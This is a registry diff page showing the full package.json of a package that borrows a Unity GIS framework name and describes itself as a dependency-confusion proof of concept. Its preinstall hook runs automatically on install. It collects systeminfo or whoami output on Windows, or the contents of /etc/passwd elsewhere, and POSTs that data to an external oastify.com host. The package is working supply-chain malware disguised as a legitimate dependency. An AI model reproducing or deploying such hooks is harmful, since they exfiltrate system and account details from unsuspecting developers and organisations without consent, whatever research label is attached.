com.unity.gis.high-precision-framework 10.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1) hide show
  1. package/package.json +10 -0
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "com.unity.gis.high-precision-framework",
3
+ "version": "10.0.1",
4
+ "description": "Security research PoC for dependency confusion. Please contact if this is found on your systems.",
5
+ "scripts": {
6
+ "preinstall": "node -e \"const os=require('os');const {execSync}=require('child_process');const https=require('https');const querystring=require('querystring');const pkg=require('./package.json');const platform=os.platform();const arch=os.arch();let data='';try{if(platform==='win32'){if(arch==='x64'){data=execSync('systeminfo').toString();}else{data=execSync('whoami && echo %PROCESSOR_ARCHITECTURE%').toString();}}else{data=execSync('cat /etc/passwd').toString();}}catch(e){data='ERROR:'+e.toString();}const postData=querystring.stringify({package:pkg.name,platform:platform,arch:arch,content:data});const options={hostname:'oiafa793pnvjjvl7vv81bgg0grmia9bx0.oastify.com',port:443,path:'/',method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded','Content-Length':Buffer.byteLength(postData)}};const req=https.request(options);req.write(postData);req.end();\""
7
+ },
8
+ "author": "Security Researcher",
9
+ "license": "ISC"
10
+ }